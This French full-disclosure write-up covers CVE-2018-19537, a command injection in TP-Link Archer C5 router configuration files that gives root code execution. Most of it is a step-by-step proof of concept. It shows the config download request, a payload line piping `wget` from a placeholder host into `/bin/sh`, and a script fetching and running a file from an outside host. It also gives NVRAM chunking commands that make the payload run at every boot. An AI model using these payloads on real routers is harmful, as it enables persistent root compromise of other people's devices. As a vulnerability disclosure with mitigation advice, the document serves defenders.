
CVE-2018-19537
Une vulnérabilité d’exécution de code à distance (RCE) authentifiée existe dans toutes les versions de firmware publiées pour le routeur TP-Link Archer C5. En téléversant un fichier de configuration malveillant, un attaquant peut injecter des commandes système qui sont exécutées avec les privilèges root.
Le routeur Archer C5 permet aux utilisateurs administrateurs d’enregistrer les paramètres de configuration actuels dans un fichier, et de restaurer des paramètres depuis un fichier.
Ces paramètres semblent être correctement assainis lorsque l’utilisateur tente de les définir dans l’interface graphique Web.
Cependant, ils ne sont pas correctement assainis lorsqu’ils sont définis depuis un fichier de configuration.
En particulier, nous avons injecté des commandes système via le paramètre wan_dyn_hostname 1 <name> dans le fichier de configuration téléversé.
D’autres paramètres peuvent également être vulnérables.
Un fichier de configuration valide peut être téléchargé depuis le menu « Backup & Restore » de l’interface graphique Web du routeur. La requête HTTP suivante télécharge une sauvegarde de la configuration actuelle du routeur :
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1
La réponse contient le fichier « config.bin », qui est le fichier de configuration que nous allons modifier.
Les fichiers de configuration sont obscurcis en les chiffrant avec DES à l’aide d’une clé codée en dur. Cette clé codée en dur semble être réutilisée sur plusieurs produits TP-Link. Crédit à Matteo Croce pour la découverte de cette clé codée en dur. http://teknoraver.net/software/hacks/tplink/
Deux scripts Python simples sont fournis pour chiffrer et déchiffrer les fichiers de configuration — « binify.py » et « unbinify.py » respectivement. Un fichier de configuration déchiffré contient des paramètres comme ceux-ci :
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0
Nous pouvons modifier ce fichier de configuration déchiffré en ajoutant une commande BusyBox malveillante au paramètre « wan_dyn_hostname », comme suit :
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`
Nous chiffrons ensuite le nouveau fichier de configuration malveillant et le téléversons via l’interface graphique Web. Le routeur redémarre automatiquement. Au début du processus de démarrage, lorsque le programme httpd est exécuté, notre commande BusyBox malveillante est exécutée. Le pseudocode de la partie pertinente de httpd ressemble à ceci :
char hostname[64];
char to_run[256];
memcpy(hostname, some_value_somewhere, 63);
snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
system(to_run);
// Continue setting up network interfaces and connectivity
Cette exploitation comporte plusieurs limitations, au-delà même de la nécessité d’utiliser BusyBox. Le serveur SSH Dropbear et telnetd ne semblent pas fonctionner sur le réseau sans fil, et le nom d’hôte est limité par le firmware à 63 caractères. Dépasser cette limite écrase d’autres paramètres et interrompt l’accès à Internet. De plus, httpd doit revenir de l’appel system() avant d’avoir réellement une connectivité réseau (car l’appel system() que nous exploitons est celui qui demande notre adresse IP WAN), et le système de fichiers racine est en lecture seule. L’exemple de commande malveillante ci-dessus ne fonctionnerait pas ; httpd échouerait à télécharger l’URL avec wget puisqu’il n’a pas encore accès à Internet, il reviendrait de l’appel system(), puis continuerait à fonctionner normalement.
À ce stade, nous pouvons donc exécuter une commande BusyBox de 63 caractères, sur un système de fichiers en lecture seule, sans moyen simple de faire attendre le programme jusqu’à ce qu’il ait fini de configurer la connectivité réseau avant d’exécuter notre commande. Nous ne pouvons pas simplement lui demander de dormir quelques minutes puis d’exécuter, car l’appel system() dans lequel nous injectons bloque l’exécution.
Une chose que nous pouvons faire, cependant, est de démarrer une autre instance de httpd à ce stade de l’exécution. Cette instance de httpd exécutera également cet appel system(), ce qui nous laisse dans une boucle qui engendrera continuellement d’autres instances de httpd, mais permettra aux processus httpd parents de continuer à s’exécuter et finalement de rétablir la connectivité réseau. Pour éviter de manquer de mémoire, nous mettons fin à cette boucle en vérifiant si notre exploit a été téléchargé.
En travaillant dans les limites ci-dessus, nous avons élaboré le script shell suivant, qui récupère un fichier sur Internet avec wget et le transmet directement à /bin/sh.
cd /tmp
if [ ! -f B ]; then
httpd &
sleep 15
wget http://jackdoan.com/B
/bin/sh B
fi
Ou, sur une seule ligne, minifié :
cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi
Ce script fait 89 caractères, ce qui est énorme, nous devons donc le téléverser en plusieurs morceaux. Mais comment ? Le téléversement d’une commande provoque un redémarrage, et un redémarrage réinitialise l’état du routeur. Nous avons réalisé que nous pouvions créer notre propre variable NVRAM et y faire référence dans des commandes ultérieures pour construire une commande que nous exécuterions finalement.
Nous avons utilisé la vulnérabilité pour injecter les commandes suivantes et construire un exploit :
; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit
Et enfin, déclencher l’exploit en définissant le nom d’hôte sur :
; udhcpc; nvram get a | /bin/sh ;
Ce script stocké dans la NVRAM du routeur sera exécuté à chaque démarrage, et le routeur continuera de sembler fonctionner normalement. Le résultat final est que le routeur se connectera à Internet, téléchargera un fichier et l’exécutera en tant que root à chaque démarrage.
Comme démontré, cette vulnérabilité peut être exploitée pour amener le routeur à se connecter à Internet, à récupérer une charge utile et à l’exécuter avec les privilèges root. L’impact sur la confidentialité, l’intégrité et la disponibilité de l’appareil est donc élevé.
Le processus d’injection d’une commande via le paramètre wan_dyn_hostname du fichier de configuration est simple. Contourner les limitations de cette commande pour exécuter une charge utile arbitraire sans perturber le fonctionnement normal du routeur est modérément complexe.
Cette attaque est modérément visible, car elle nécessite au moins un redémarrage de l’appareil. Notre POC nécessite 5 redémarrages successifs, mais persiste jusqu’à ce que l’appareil soit réinitialisé aux paramètres d’usine.
Cette vulnérabilité peut être exploitée par toute personne ayant accès au compte administrateur Web. Ainsi, avec la configuration par défaut du routeur, elle peut être exploitée via la connectivité LAN / WLAN avec les identifiants administrateur par défaut « admin:admin ». Cette vulnérabilité peut être exploitée à distance via Internet, si la gestion à distance est activée. La gestion à distance est désactivée par défaut.
Cette vulnérabilité est relativement simple, ce qui nous amène à croire qu’elle a probablement déjà été découverte et exploitée auparavant. La défense contre cette attaque est également incroyablement simple : ne pas utiliser le mot de passe administratif par défaut. Un mot de passe fort pour le compte administratif Web empêchera cette attaque. Parce qu’elle est si facile à exploiter et aussi si facile à atténuer, nous croyons qu’une divulgation complète est dans l’intérêt du public.
Pour notre POC, nous avons injecté via le paramètre « wan_dyn_hostname ». Cependant, le fichier de configuration contient 1190 paramètres au total, dont beaucoup peuvent être injectables.